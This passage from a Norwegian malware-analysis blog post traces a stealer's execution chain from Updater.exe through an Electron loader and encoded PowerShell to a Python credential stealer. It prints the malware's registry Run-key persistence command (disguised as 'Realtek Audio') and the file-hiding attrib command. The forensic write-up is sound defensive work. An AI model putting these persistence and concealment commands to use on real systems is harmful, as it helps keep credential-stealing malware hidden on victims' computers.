innsikt.",[854,855],"div",{"className":856},[857,858],"space-top-1","space-bottom-1",[557,860,862],{"id":861},"_2-malware-arkitektur-og-oversikt-over-kjøringskjeden","2. Malware-arkitektur og oversikt over kjøringskjeden",[526,864,563],{},[526,866,867],{},"Malwaren som ble observert på det berørte endpointet, fulgte en strukturert flertrinnsarkitektur med tydelig ansvarsdeling: utrulling, dekoding, kjøring og dataeksfiltrering.",[741,869,871],{"id":870},"_21-oversikt-over-kjøringskjeden","2.1 Oversikt over kjøringskjeden",[526,873,747],{},[526,875,876],{},"Den observerte kjøringsflyten så slik ut:",[526,878,602],{},[616,880,883],{"className":881,"code":882,"language":621},[619],"​   └── main.exe\n​       └── cmd.exe\n​           └── python.exe astor.py\n",[579,884,882],{"__ignoreMap":530},[526,886,887],{},"Hver komponent i kjeden bidro til skjulthet, modularitet og unnvikelse. Arkitekturen utnyttet legitime runtimes og standardtolkere i operativsystemet for å omgå deteksjonsmekanismer.",[889,890,892],"h3",{"id":891},"_211-usikkert-opphav-manglende-initial-vektor","2.1.1 Usikkert opphav: manglende initial vektor",[526,894,895],{},"{: .font-size-4}",[526,897,898,899,902,903,614],{},"Til tross for omfattende analyse av miljøet etter kompromitteringen lot den initiale tilgangsvektoren seg ikke fastslå med sikkerhet. Usikkerheten skyldes først og fremst at malwaren hadde vært aktiv i anslagsvis ",[568,900,901],{},"seks måneder før den ble oppdaget",", altså lenger enn ",[568,904,905],{},"loggoppbevaringstiden Microsoft Defender for Endpoint håndhever",[526,907,908],{},"Dermed fantes det verken telemetri eller forensiske artefakter fra det opprinnelige infeksjonstidspunktet. Ingen opprinnelige prosessopprettelseshendelser, fildropp eller kommandolinjeoppføringer knyttet til leveransefasen lot seg gjenopprette fra Defenders tidslinje eller tilhørende sensorer.",[526,910,911],{},"Ut fra kontekstuelle indikatorer og OSINT-kilder kan en sannsynlig infeksjonsvektor ha involvert:",[631,913,914,920,926],{},[634,915,916,919],{},[568,917,918],{},"Trojaniserte installasjonsprogrammer"," for cracket eller moddet spillprogramvare",[634,921,922,925],{},[568,923,924],{},"Falske verktøy"," eller \"ytelsesboostere\" distribuert via forum og tredjepartssider",[634,927,928,931],{},[568,929,930],{},"Skadelige nettleserutvidelser"," rettet mot bestemte brukerinteresser (for eksempel kryptorelaterte verktøy eller Discord-utvidelser)",[526,933,934],{},"Dette er imidlertid fortsatt spekulasjon.",[526,936,937,938,941],{},"Ingen bekreftet dropper, phishing-e-post eller kompromittert nettside lot seg identifisere i etterforskningen. Selv om malware-arkitekturen og kjøringskjeden ble rekonstruert i sin helhet, lot ",[568,939,940],{},"det initiale kompromitteringspunktet (MITRE ATT&CK T1190 / T1566)"," seg ikke validere.",[889,943,945,946,948],{"id":944},"_212-updaterexe-initial-loader","2.1.2 ",[579,947,602],{}," - Initial loader",[526,950,895],{},[526,952,953,954,956],{},"Da jeg gikk gjennom prosesstreet i Microsoft 365 Defender, stakk ",[579,955,602],{}," seg umiddelbart ut, ikke på grunn av hva den gjorde, men hvor stille den plasserte seg i systemets kjøringsflyt.",[526,958,959],{},"Denne binaryen var registrert for automatisk kjøring via standard Run-nøkkelen i Windows:",[616,961,964],{"className":962,"code":963,"language":621},[619],"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\n",[579,965,963],{"__ignoreMap":530},[526,967,968],{},"Det betydde at den ble startet hver gang brukeren logget inn i sesjonen sin, en klassisk persistensmekanisme som ikke krever forhøyede rettigheter og ofte slipper ubemerket gjennom i EDR-telemetri.",[631,970,971,977,983,989,995],{},[634,972,973,976],{},[568,974,975],{},"Filtype",": Windows PE-kjørbar fil (32-bit)",[634,978,979,982],{},[568,980,981],{},"Signatur",": Usignert",[634,984,985,988],{},[568,986,987],{},"VirusTotal-deteksjon",": 1 av 69 motorer på triagetidspunktet",[634,990,991,994],{},[568,992,993],{},"Kjøringskontekst",": Medium integritet, brukersesjon",[634,996,997,1000,1001],{},[568,998,999],{},"Plassering",": ",[579,1002,1003],{},"AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\",[526,1005,1006],{},"Selve filen var liten, rent kompilert og uinteressant sett fra statisk analyse. Ingen mistenkelige strenger, ingen krypterte seksjoner og ingen indikasjoner på obfuskering eller packing. Den importerte bare et minimalt sett med standard Windows API-funksjoner og inneholdt ingen innebygd payload.",[526,1008,1009,1010,1012,1013,1015],{},"Atferden var langt mer talende. Så snart den var startet, pakket ",[579,1011,602],{}," ut en Electron-applikasjon fra et medfølgende arkiv, en selvstendig NodeJS-runtime pakket med standard Electron-verktøy. Den utpakkede mappen inneholdt en kjørbar fil ved navn ",[579,1014,606],{},", som deretter ble startet som underprosess.",[616,1017,1020],{"className":1018,"code":1019,"language":621,"meta":530},[619],"Updater.exe → main.exe\n",[579,1021,1019],{"__ignoreMap":530},[526,1023,1024,1025,1027,1028,1030],{},"Det fantes ingen nettverksindikatorer på dette stadiet, ingen prosessinjeksjon og ingen avvik i rettigheter eller token-heving. Hele rollen til ",[579,1026,602],{}," så ut til å være en loader, som leverte en andretrinnskomponent (",[579,1029,606],{},") inn i miljøet, sannsynligvis for å bevare skjulthet og modularitet.",[526,1032,1033],{},"Denne typen arkitektonisk oppdeling er vanlig i moderne hyllevare-malware og stealer-verktøysett. Den initiale loaderen fungerer bare som en utrullingsstubbe, slik at den tyngre logikken, ofte obfuskert, tolket eller dynamisk generert, kan ligge i senere trinn.",[526,1035,1036,1037,1039,1040,1042,1043,614],{},"I dette tilfellet fylte ",[579,1038,602],{}," nøyaktig den funksjonen: et stille første fotfeste utformet for å gli inn, forbli uoppdaget og bane vei for kjøringen av den egentlige stealer-logikken i ",[579,1041,606],{}," og til slutt ",[579,1044,610],{},[526,1046,1047],{},"Den rørte ikke filsystemet utover sin egen katalog og utløste ingen atferdsregler, og likevel var den den første brikken som falt i en lang og nøye konstruert angrepskjede.",[889,1049,1051,1052,1054],{"id":1050},"_213-mainexe-obfuskert-nodejs-payloadbeholder","2.1.3 ",[579,1053,606],{}," - Obfuskert NodeJS-payloadbeholder",[526,1056,895],{},[526,1058,1059,1060,1062,1063,1065],{},"Etter at ",[579,1061,602],{}," hadde kjørt, ble en andretrinnsbinary ved navn ",[579,1064,606],{}," startet. Denne komponenten presenterte seg som en helt vanlig Electron-applikasjon, et runtime-miljø som pakker Node.js og Chromium sammen og ofte brukes til plattformuavhengige skrivebordsapper. Nettopp denne uskyldige fasaden er en del av det som gjør den så farlig i feil hender.",[526,1067,1068,1069,1071,1072,1075],{},"Ved inspeksjon viste ",[579,1070,606],{}," seg å inneholde et internt arkiv ved navn ",[579,1073,1074],{},"app.asar",", standardformatet for pakking av Electron-baserte applikasjoner. Til forskjell fra legitime Electron-apper var innholdet i dette arkivet alt annet enn vanlig.",[631,1077,1078,1084,1090,1098],{},[634,1079,1080,1083],{},[568,1081,1082],{},"Plattform",": Electron (Node.js + Chromium)",[634,1085,1086,1089],{},[568,1087,1088],{},"Arkitektur",": 64-bits Windows",[634,1091,1092,1095,1096],{},[568,1093,1094],{},"Innholdsstruktur",": Innebygde JavaScript-filer i ",[579,1097,1074],{},[634,1099,1100,1103,1104,1107],{},[568,1101,1102],{},"Obfuskeringsnivå",": Høyt, oppnådd med ",[579,1105,1106],{},"js-confuser",", et kommersielt tilgjengelig obfuskeringsverktøysett for JavaScript",[526,1109,1110,1111,1113],{},"Da den var dekompilert og deobfuskert, ble kjernelogikken i ",[579,1112,606],{}," tydelig. Formålet var ikke å vise et GUI eller kjøre frontend-logikk, den fungerte i stedet som en skjult kjøringsorkestrator.",[526,1115,1116],{},[568,1117,1118],{},"Observert atferd:",[631,1120,1121,1124,1131],{},[634,1122,1123],{},"Dekrypterer og rekonstruerer en Base64-kodet PowerShell-kommando som ligger lagret i JavaScript-payloaden",[634,1125,1126,1127,1130],{},"Starter ",[579,1128,1129],{},"cmd.exe"," for å kjøre PowerShell-kommandoen inline",[634,1132,1133,1134,1136,1137,1140],{},"PowerShell-kommandoen kaller i sin tur ",[579,1135,581],{}," og sender med et skript som ligger under en tilsynelatende harmløs katalogstruktur (",[579,1138,1139],{},"Crypto\\Util\\astor.py",")",[616,1142,1145],{"className":1143,"code":1144,"language":621,"meta":530},[619],"main.exe → cmd.exe /d /s /c powershell → python.exe Crypto\\Util\\astor.py\n",[579,1146,1144],{"__ignoreMap":530},[526,1148,1149],{},"Denne kjedingen lot angriperen bytte kjøringskontekst og unngå enkel deteksjon. Siden payloaden var obfuskert og stagede i minnet, var tradisjonelle signaturbaserte kontroller virkningsløse.",[526,1151,1152],{},"Electron-rammeverket ga et ideelt dekke, det tillot kjøring av vilkårlig JavaScript og unngikk samtidig nærmere granskning. JavaScript-basert kjøring ga også plattformuavhengighet, noe som muliggjorde fleksibel utrulling og enklere integrasjon av dynamisk styringslogikk.",[526,1154,1155,1156,1158],{},"Det som gjorde ",[579,1157,606],{}," særlig farlig, var at den kunne arbeide uten å droppe flere filer enn de som allerede var stagede. Stealer-skriptet ble kalt direkte fra disk, men all staging- og kjøringslogikk lå innebygd i Electron-bundlen.",[526,1160,1161,1162,1164,1165,614],{},"Kort sagt fungerte ",[579,1163,606],{}," som den obfuskerte kjøringskjernen i flere lag, som portvakt mellom initial persistens og full aktivering av Akira Stealer-payloaden i ",[579,1166,610],{},[889,1168,1170,1171,1173],{"id":1169},"_214-cmdexe-og-powershell-relé","2.1.4 ",[579,1172,1129],{}," og PowerShell-relé",[526,1175,895],{},[526,1177,1178],{},"Dette trinnet i kjøringskjeden fungerte som et relé, ikke for payload-logikk, men for obfuskering og indirekte kjøring.",[526,1180,1059,1181,1183,1184,1186,1187,614],{},[579,1182,606],{}," hadde gjort jobben sin med å pakke ut og dekode payloaden, startet den en ",[579,1185,1129],{},"-prosess. Denne prosessen inneholdt ingen skadelig logikk i seg selv, og den verken skrev eller endret filer. Eneste formål var å være en wrapper for å starte en PowerShell-sesjon med en ",[568,1188,1189],{},"kodet kommando",[526,1191,1192],{},"Metoden er en velkjent taktikk for å redusere synlighet og unngå deteksjon:",[631,1194,1195,1207],{},[634,1196,1197,1200,1201],{},[568,1198,1199],{},"Kjøringskjede",":",[616,1202,1205],{"className":1203,"code":1204,"language":621},[619],"main.exe → cmd.exe /d /s /c \"powershell -EncodedCommand \u003CBase64Payload>\"\n",[579,1206,1204],{"__ignoreMap":530},[634,1208,1209,1200,1212],{},[568,1210,1211],{},"Formål",[631,1213,1214,1217,1220],{},[634,1215,1216],{},"Kapsler inn PowerShell-kjøringen i enda et skall",[634,1218,1219],{},"Skjuler den faktiske PowerShell-koden fra direkte innsyn i logger",[634,1221,1222,1223,1226],{},"Unngår EDR-er som utløses av direkte bruk av ",[579,1224,1225],{},"powershell.exe"," med mistenkelige parametere",[526,1228,1229,1230,1232],{},"Ved å legge PowerShell-skriptet inn som en Base64-kodet streng og kalle det via ",[579,1231,1129],{}," unngikk angriperen flere former for deteksjon:",[631,1234,1235,1240,1245],{},[634,1236,1237],{},[568,1238,1239],{},"Heuristiske filtre for kommandolinjer",[634,1241,1242],{},[568,1243,1244],{},"Standard logging (for eksempel Event ID 4104, 4688)",[634,1246,1247],{},[568,1248,1249,1250,1252,1253,647,1256,1259],{},"Regelbaserte deteksjoner for ",[579,1251,1225],{},"-argumenter som ",[579,1254,1255],{},"-NoProfile",[579,1257,1258],{},"-ExecutionPolicy Bypass"," eller inline-skript",[526,1261,1262,1263,1265,1266,1268],{},"Verdt å merke seg er at PowerShell-kommandoen ble holdt minimal og utelukkende rettet mot å starte ",[579,1264,581],{}," med en sti til det innebygde stealer-skriptet, ",[579,1267,610],{},". Ingen ekstra moduler ble lastet, og ingen åpenbare signaturer lå i minnet.",[526,1270,1271],{},"Denne reléteknikken brukes ofte både i red teaming og av avanserte infostealere, som et lettvekts unnvikelseslag som er enkelt å implementere, men vanskelig å fange opp uten telemetrikorrelasjon.",[526,1273,1036,1274,1276],{},[579,1275,1129],{}," nøyaktig den funksjonen: en enkel, stille bro mellom JavaScript-logikk og Python-kjøring, en som nesten gled ubemerket gjennom.",[889,1278,1280,1281,1283,1284],{"id":1279},"_215-pythonexe-med-astorpy","2.1.5 ",[579,1282,581],{}," med ",[579,1285,610],{},[526,1287,895],{},[526,1289,1290,1291,1293,1294,1296],{},"Det siste og mest virkningsfulle trinnet i kjøringskjeden ble nådd da ",[579,1292,581],{}," kalte ",[579,1295,610],{},", en Python-basert, modulær infostealer som utelukkende arbeider i minnet. Dette skriptet utgjorde den operative kjernen i hele angrepskjeden.",[526,1298,1299,1300,1302],{},"Til forskjell fra mange hyllevare-stealere ble ikke ",[579,1301,610],{}," lagt ut i klartekst. Det var beskyttet av en dekrypteringsmekanisme i flere lag:",[631,1304,1305,1314],{},[634,1306,1307,1310,1311,614],{},[568,1308,1309],{},"Dekrypteringsstack",": Filen ble først GZIP-komprimert og deretter kryptert med ",[568,1312,1313],{},"AES-256-CBC",[634,1315,1316,1319],{},[568,1317,1318],{},"Nøkkelderivering",": En PBKDF2-basert nøkkelderivering ble brukt (SHA-512, 1 000 000 iterasjoner), noe som gjør statisk analyse og brute force svært upraktisk.",[526,1321,1322],{},"Da skriptet var dekryptert ved kjøring, kjørte det flere spesialiserte moduler, alle rettet mot sensitive datakilder:",[526,1324,1325],{},[568,1326,1327],{},"Kjernefunksjoner",[631,1329,1330,1336,1346,1356],{},[634,1331,1332,1335],{},[568,1333,1334],{},"Uthenting av nettleserdata",": Hentet påloggingsopplysninger, cookies og autofyll-data fra Chromium-baserte nettlesere (Chrome, Edge, Brave, Opera)",[634,1337,1338,1341,1342,1345],{},[568,1339,1340],{},"Innsamling av tokens",": Samlet inn sesjonstokens, særlig fra ",[568,1343,1344],{},"Discord",", og lette etter utvidelser for kryptovaluta-lommebøker",[634,1347,1348,1351,1352,1355],{},[568,1349,1350],{},"Datapakking",": Samlet alle innsamlede data i et strukturert ",[568,1353,1354],{},"ZIP-arkiv"," og bevarte katalog- og filkontekst for angriperens videre bearbeiding",[634,1357,1358,1361],{},[568,1359,1360],{},"Eksfiltrering",": Lastet opp det ferdige arkivet til offentlige API-er og infrastruktur.",[526,1363,1364],{},[568,1365,993],{},[526,1367,1368],{},"Hele stealer-logikken kjørte fra minnet, uten at noen varige filer ble skrevet til disk. Den etterlot minimale telemetrispor utover artefakter i prosessminnet og helt vanlige kall til underprosesser. Det ble ikke gjort noe forsøk på å etablere persistens på dette trinnet, målet var raskt, effektivt og stille datatyveri.",[526,1370,1371],{},"Bruken av legitime API-er til eksfiltrering gjorde også deteksjon og forebygging langt vanskeligere, siden den utgående trafikken gled inn i vanlig internettaktivitet.",[526,1373,1374,1375,1377],{},"Dette trinnet bekreftet til slutt identiteten til malwaren: en variant av ",[568,1376,678],{},", kjent for:",[631,1379,1380,1383,1386,1389],{},[634,1381,1382],{},"Høy modularitet",[634,1384,1385],{},"Obfuskering ved kjøring",[634,1387,1388],{},"Kommersiell distribusjon via Telegram",[634,1390,1391],{},"Sterkt fokus på innsamling av credentials og tokenbasert sesjonskapring",[526,1393,1394,1395,1397],{},"Sammen med de tidligere trinnene dannet ",[579,1396,610],{}," det kritiske endepunktet i en stillegående og godt konstruert infostealer-kjede. I de følgende avsnittene dissekerer vi denne komponenten videre og forklarer hvordan vi reverserte logikken, kartla infrastrukturen og gjenopprettet hver eneste kompromitteringsindikator som ble brukt i driften av den.",[557,1399,1401,1402],{"id":1400},"_3-deep-dive-updaterexe","3. Deep Dive: ",[579,1403,602],{},[526,1405,563],{},[526,1407,1408,1410],{},[579,1409,602],{}," var den første binaryen vi observerte i analysen etter kompromitteringen. Til tross for det nøytrale utseendet og det nesten usynlige deteksjonsavtrykket spilte den en avgjørende rolle i å opprettholde malwarens operative persistens og levere payloaden til neste trinn.",[741,1412,1414],{"id":1413},"_31-egenskaper","3.1 Egenskaper",[526,1416,747],{},[1418,1419,1420,1433],"table",{},[1421,1422,1423],"thead",{},[1424,1425,1426,1430],"tr",{},[1427,1428,1429],"th",{},"Egenskap",[1427,1431,1432],{},"Verdi",[1434,1435,1436,1447,1457,1467,1477,1487],"tbody",{},[1424,1437,1438,1444],{},[1439,1440,1441],"td",{},[568,1442,1443],{},"Format:",[1439,1445,1446],{},"Windows Portable Executable (PE32)",[1424,1448,1449,1454],{},[1439,1450,1451],{},[568,1452,1453],{},"Arkitektur:",[1439,1455,1456],{},"x86-64",[1424,1458,1459,1464],{},[1439,1460,1461],{},[568,1462,1463],{},"Størrelse:",[1439,1465,1466],{},"~154 KB",[1424,1468,1469,1474],{},[1439,1470,1471],{},[568,1472,1473],{},"Entropi:",[1439,1475,1476],{},"Normal (ikke packet)",[1424,1478,1479,1484],{},[1439,1480,1481],{},[568,1482,1483],{},"Signaturer:",[1439,1485,1486],{},"Ingen",[1424,1488,1489,1494],{},[1439,1490,1491],{},[568,1492,1493],{},"VirusTotal-deteksjon:",[1439,1495,1496],{},"1/69 på analysetidspunktet",[526,1498,1499],{},"Filen hadde en ren importtabell og ingen innebygde strengindikatorer. Ingen kjente packere, cryptere eller mekanismer for obfuskering ved kjøring ble oppdaget. Strukturen stemte med egenkompilerte binaries.",[741,1501,1503],{"id":1502},"_32-atferdsanalyse","3.2 Atferdsanalyse",[526,1505,747],{},[526,1507,1508],{},[568,1509,1510],{},"Ingen brukerinteraksjon nødvendig",[526,1512,1513,1514,1516],{},"Malware-kjeden kjørte uten at noen brukerinteraksjon var nødvendig. Ut fra prosesstelemetrien i Defender ble den første binaryen (",[579,1515,602],{},") startet automatisk, sannsynligvis via en persistensmekanisme som en autorun-nøkkel i registeret. På grunn av kompromitteringens alder og fraværet av historiske hendelseslogger lot den eksakte persistensmetoden seg likevel ikke gjenopprette.",[526,1518,1519],{},[568,1520,1521],{},"Stille kjøring og staging",[526,1523,1524,1525,1527,1528,1530],{},"Ved kjøring startet ",[579,1526,602],{}," umiddelbart ",[579,1529,606],{}," uten synlig vindu og uten dialoger til brukeren. Stagingen skjedde stille i bakgrunnen. Det fantes ingen spor av samtykkedialoger, UAC-forespørsler eller GUI-komponenter.",[526,1532,1533],{},[568,1534,1535],{},"Atferd ved utrulling av payload",[526,1537,1538,1540],{},[579,1539,606],{}," viste seg å være del av en Electron-applikasjonsstruktur, men nøyaktig hvor utrullingen kom fra, er fortsatt uklart. Ett av følgende antas:",[631,1542,1543,1549],{},[634,1544,1545,1546,1548],{},"Payloaden kan ha ligget innebygd i ",[579,1547,602],{}," (for eksempel som en innebygd ressurs), eller",[634,1550,1551],{},"den kan ha blitt hentet fra en ekstern kilde",[526,1553,1554],{},"Uten nettverkstelemetri og uten noen gjenfunnet hardkodet URL forblir leveransevektoren for Electron-appen uavklart.",[526,1556,1557],{},[568,1558,1559],{},"Atferd i prosesskjeden",[526,1561,1562,1563,1565,1566,1568],{},"Så snart den kjørte, opprettet ",[579,1564,602],{}," ",[579,1567,606],{}," som underprosess. Kallet var ikke-interaktivt, og ingen prosess i kjeden viste UI-aktivitet. Prosesskjeden fortsatte som forventet:",[616,1570,1573],{"className":1571,"code":1572,"language":621},[619],"Updater.exe → main.exe → cmd.exe → powershell (encoded) → python.exe astor.py\n",[579,1574,1572],{"__ignoreMap":530},[526,1576,1577],{},"Alle kjøringstrinn fungerte uten å kreve inndata fra brukeren, og bygde utelukkende på forhåndskonfigurert oppstartslogikk og stille kjøringsstier. Det holdt eksponeringen nede og hjalp malwaren med å forbli uoppdaget over lang tid.",[741,1579,1581],{"id":1580},"_33-rolle-i-infeksjonskjeden","3.3 Rolle i infeksjonskjeden",[526,1583,747],{},[526,1585,1586,1588,1589,1592,1593,614],{},[579,1587,602],{}," hadde ",[568,1590,1591],{},"én enkelt, men helt nødvendig rolle"," i den større infeksjonskjeden: den sto for persistensen og gjenutrullingen av stage 2-komponenten ",[579,1594,606],{},[526,1596,1597],{},[568,1598,1599],{},"Bekreftede kjennetegn",[631,1601,1602,1609,1616],{},[634,1603,1604,1605,1608],{},"Den inneholdt eller kjørte ",[568,1606,1607],{},"ikke"," skadelig logikk direkte",[634,1610,1611,1612,1615],{},"Den utførte ",[568,1613,1614],{},"ingen"," dataeksfiltrering",[634,1617,1618,1619,1621],{},"Den samhandlet ",[568,1620,1607],{}," med nettleserens credential stores eller sensitive brukerdata",[526,1623,1624,1625,1627],{},"Eneste formål var å starte ",[579,1626,606],{}," stille ved brukerpålogging, med en autorun-oppføring i registeret som den mest sannsynlige persistensmetoden (selv om den ikke lot seg gjenopprette direkte på grunn av begrensninger i telemetrien).",[526,1629,1630,1631,1633,1634,1636],{},"Ved å opptre som en isolert first stage-loader sørget ",[579,1632,602],{}," for at selve stealer-payloaden (",[579,1635,610],{},") forble skjult i dypere kjøringslag. Denne arbeidsdelingen lot angriperne:",[631,1638,1639,1642,1645],{},[634,1640,1641],{},"Unngå korrelasjon fra statiske AV- eller sandbox-systemer",[634,1643,1644],{},"Bytte ut eller oppdatere payloads uten å endre loaderen",[634,1646,1647],{},"Redusere atferdssignalene ved inngangspunktet",[526,1649,1650,1651,1654],{},"Mønsteret er typisk for ",[568,1652,1653],{},"malware-as-a-service (MaaS)","-operasjoner, der leveransemekanismene er generiske og payloadene modulære eller kundespesifikke.",[526,1656,1657,1658,1660],{},"I dette tilfellet ga ",[579,1659,602],{}," akkurat nok logikk til å fungere som et pålitelig og stillegående inngangspunkt: ikke mer, men heller ikke mindre.",[741,1662,1664],{"id":1663},"_34-persistens-via-registeret-bekreftet-i-astorpy","3.4 Persistens via registeret (bekreftet i astor.py)",[526,1666,747],{},[526,1668,1669,1670,1672],{},"Statisk analyse av Python-payloaden viste at ",[579,1671,602],{}," gjøres persistent gjennom en eksplisitt autorun-oppføring i registeret:",[631,1674,1675,1683,1691],{},[634,1676,1677,1000,1680],{},[568,1678,1679],{},"Registry Path",[579,1681,1682],{},"HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run",[634,1684,1685,1000,1688],{},[568,1686,1687],{},"Value Name",[579,1689,1690],{},"Realtek Audio",[634,1692,1693,1000,1696],{},[568,1694,1695],{},"Payload Path",[579,1697,1698],{},"%APPDATA%\\Microsoft\\Internet Explorer\\UserData\\Updater.exe",[526,1700,1701],{},"Den tilhørende registerkommandoen kjøres via PowerShell:",[616,1703,1707],{"className":1704,"code":1705,"language":1706,"meta":530,"style":530},"language-powershell shiki shiki-themes github-light github-dark","reg add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Realtek Audio\" /t REG_SZ /d \"...\\Updater.exe\" /f\n","powershell",[579,1708,1709],{"__ignoreMap":530},[1710,1711,1714],"span",{"class":1712,"line":1713},"line",1,[1710,1715,1705],{},[526,1717,1718],{},"Dette sikrer at malwaren startes ved hver brukerpålogging. Filen merkes i tillegg med attributtene hidden og system for å unngå deteksjon ytterligere:",[616,1720,1722],{"className":1704,"code":1721,"language":1706,"meta":530,"style":530},"attrib +h +s \"Updater.exe\"\n",[579,1723,1724],{"__ignoreMap":530},[1710,1725,1726],{"class":1712,"line":1713},[1710,1727,1721],{},[526,1729,1730],{},"Denne persistensmekanismen lå innebygd direkte i astor.py-koden, noe som bekrefter at stealeren i siste trinn aktivt holder loaderen på plass både på disk og i oppstartsregisteret.",[741,1732,1734],{"id":1733},"_35-oppsummering","3.5 Oppsummering",[526,1736,747],{},[848,1738,1739],{},[526,1740,1741,1742,1744],{},"Selv om ",[579,1743,602],{}," ikke var skadelig i seg selv, verken i struktur eller innhold, bekreftet atferden i kjøringskjeden rollen som malware loader.",[854,1746],{"className":1747},[857],[526,1749,1750],{},"Denne binaryen fungerte som en ren, minimalistisk first stage-launcher som unngikk deteksjon fra statisk analyse, AV-motorer og atferdsregler. Designet handlet utelukkende om skjulthet og operativ støtte, ikke om å kjøre skadelig logikk selv.",[526,1752,1753,1754,1756,1757,1759,1760,1763],{},"Rollen strakte seg likevel lenger enn den første utrullingen. Under reverse engineering av ",[579,1755,610],{},"-payloaden fant vi logikk som aktivt sjekket om ",[579,1758,602],{}," var til stede. Denne sjekken var del av en større ",[568,1761,1762],{},"health- og self-healing-syklus"," implementert i stealer-koden, en mekanisme som skulle verifisere integriteten i infeksjonskjeden og gjenopprette manglende komponenter ved behov.",[526,1765,1766,1767,1769,1770,1773],{},"Det betyr at ",[579,1768,602],{}," ikke bare hadde ansvaret for å starte malwaren, men også inngikk i dens ",[568,1771,1772],{},"løpende runtime-validering",". Uten denne stubben kunne malwaren miste evnen til å initialisere seg på nytt i senere sesjoner.",[526,1775,1776],{},[568,1777,1778,1779,1200],{},"Sentrale funksjoner i ",[579,1780,602],{},[631,1782,1783,1788,1793,1796],{},[634,1784,1785,1786],{},"Friksjonsfri utrulling av ",[579,1787,606],{},[634,1789,1790,1791],{},"Indirekte kjøring av ",[579,1792,610],{},[634,1794,1795],{},"Frikobling av loader- og payload-logikk",[634,1797,1798,1801],{},[568,1799,1800],{},"Referert av payloaden selv"," som del av den operative health-overvåkingen",[526,1803,1804],{},"I avsnitt 5 går vi gjennom stealerens interne health check-rutiner i detalj, inkludert self-healing-atferden og mekanismene for integritetsvalidering.",[526,1806,1807,1808,1810],{},"Foreløpig er det klart at ",[579,1809,602],{}," fungerte som både tenning og ankerpunkt i denne lagdelte infostealer-arkitekturen.",[741,1812,1814],{"id":1813},"_36-ekstraksjonstriks-å-overliste-loaderen","3.6 Ekstraksjonstriks: å overliste loaderen",[526,1816,747],{},[526,1818,1819],{},"Noen ganger kommer de beste resultatene innen reverse engineering ikke fra dyp disassemblering av binaries, men fra litt list og tålmodighet.",[526,1821,1822,1823,1825,1826,1828],{},"Mens vi analyserte infeksjonen i et kontrollert labmiljø, la vi merke til noe rart: ",[579,1824,602],{}," var til stede og kjørte, men ",[579,1827,606],{}," var borte fra filsystemet. Da fikk vi en idé: hva skjer om vi lar malwaren reparere seg selv?",[526,1830,1831,1832,1837,1838,1840],{},"Vi ",[568,1833,1834,1835],{},"slettet ",[579,1836,606],{}," med vilje fra det infiserte miljøet og lot ",[579,1839,602],{}," være i fred. Og ganske riktig, etter neste pålogging gikk loaderen i gang, ikke med bråk, men med et stille forsøk på å bygge opp igjen sitt andre trinn.",[526,1842,1843,1844,1846,1847,1849,1850,1853,1854,1857,1858,647,1860,586,1863,1865],{},"Her ble det interessant: i stedet for å gjenskape ",[579,1845,606],{}," direkte droppet ",[579,1848,602],{}," først en fil ved navn ",[579,1851,1852],{},"app-64.7z",", et helt vanlig ",[568,1855,1856],{},"7-Zip-arkiv",". Dette arkivet inneholdt hele Electron-applikasjonsstrukturen, inkludert ",[579,1859,606],{},[579,1861,1862],{},"resources",[579,1864,1074],{},"-payloaden med all innebygd logikk.",[526,1867,1868,1869,614],{},"Vi hadde i praksis ",[568,1870,1871],{},"tvunget malwaren til å levere oss kildepakken",[526,1873,1874],{},[775,1875],{"alt":1876,"src":1877},"Mistenkelig Updater-kjørbar fil oppdaget","https://res.cloudinary.com/c4a8/image/upload/v1749797290/blog/pics/updater-exe.png",[526,1879,1880],{},"Med dette 7z-arkivet i hånd kunne vi pakke ut, dekomprimere og reversere hele den JavaScript-baserte orkestreringslogikken uten å røre den opprinnelige loaderen igjen. Arkivstrukturen stemte perfekt med den forventede Electron-app-layouten.",[526,1882,1883,1884,1887],{},"Denne atferden tyder sterkt på at angriperne bevisst valgte en ",[568,1885,1886],{},"modulær og vedlikeholdbar arkitektur",", der arkiver brukes som fleksible payload-beholdere. Det lot dem også bytte ut eller oppdatere payload-komponenter uten å kompilere loader-binaryen på nytt.",[526,1889,1890],{},"Og i vårt tilfelle? Det lot oss overliste kjeden deres, fange opp droppen og gå derfra med hele pakken, omtrent som å stjele tegningene fra arbeidsbenken mens byggmesteren ser en annen vei.",[526,1892,1893,1894],{},"La oss si det slik: ",[568,1895,1896,1897,647,1900,1903],{},"noen ganger er de beste forensiske verktøyene ",[579,1898,1899],{},"del",[579,1901,1902],{},"wait"," og litt nysgjerrighet.",[557,1905,1907,1908],{"id":1906},"_4-deep-dive-powbat","4. Deep Dive: ",[579,1909,1910],{},"pow.bat",[526,1912,563],{},[526,1914,1915,1916,1919],{},"I malware-kampanjen vi analyserte, fungerer komponenten ",[579,1917,1918],{},"Invoke-SharpLoader"," som en egenutviklet, minneresident .NET-loader med en svært modulær og unnvikende kjøringsflyt. Dette avsnittet dissekerer den interne arkitekturen, anti-analysestrategien via AMSI-patching og rollen den spiller i å legge til rette for payloaden i andre trinn.",[741,1921,1923],{"id":1922},"_41-binaryegenskaper-sharploader-batch-wrapper","4.1 Binaryegenskaper - SharpLoader Batch Wrapper",[526,1925,747],{},[526,1927,1928,1929,1931],{},"Før den kjøres for å laste .NET-payloaden i minnet, har den ytre wrapperen ",[579,1930,1910],{}," følgende kjennetegn ifølge statisk analyse:",[1418,1933,1934,1942],{},[1421,1935,1936],{},[1424,1937,1938,1940],{},[1427,1939,1429],{},[1427,1941,1432],{},[1434,1943,1944,1953,1962,1972,1981,1991,2001,2010],{},[1424,1945,1946,1950],{},[1439,1947,1948],{},[568,1949,1443],{},[1439,1951,1952],{},"DOS Batch File",[1424,1954,1955,1959],{},[1439,1956,1957],{},[568,1958,1453],{},[1439,1960,1961],{},"Skriptbasert (ikke kompilert binary)",[1424,1963,1964,1969],{},[1439,1965,1966],{},[568,1967,1968],{},"Filstørrelse:",[1439,1970,1971],{},"27.79 KB (28454 bytes)",[1424,1973,1974,1978],{},[1439,1975,1976],{},[568,1977,1473],{},[1439,1979,1980],{},"Normal (ren ASCII-tekst)",[1424,1982,1983,1988],{},[1439,1984,1985],{},[568,1986,1987],{},"Magic:",[1439,1989,1990],{},"DOS batch file, ASCII text",[1424,1992,1993,1998],{},[1439,1994,1995],{},[568,1996,1997],{},"Digital signatur:",[1439,1999,2000],{},"Ingen 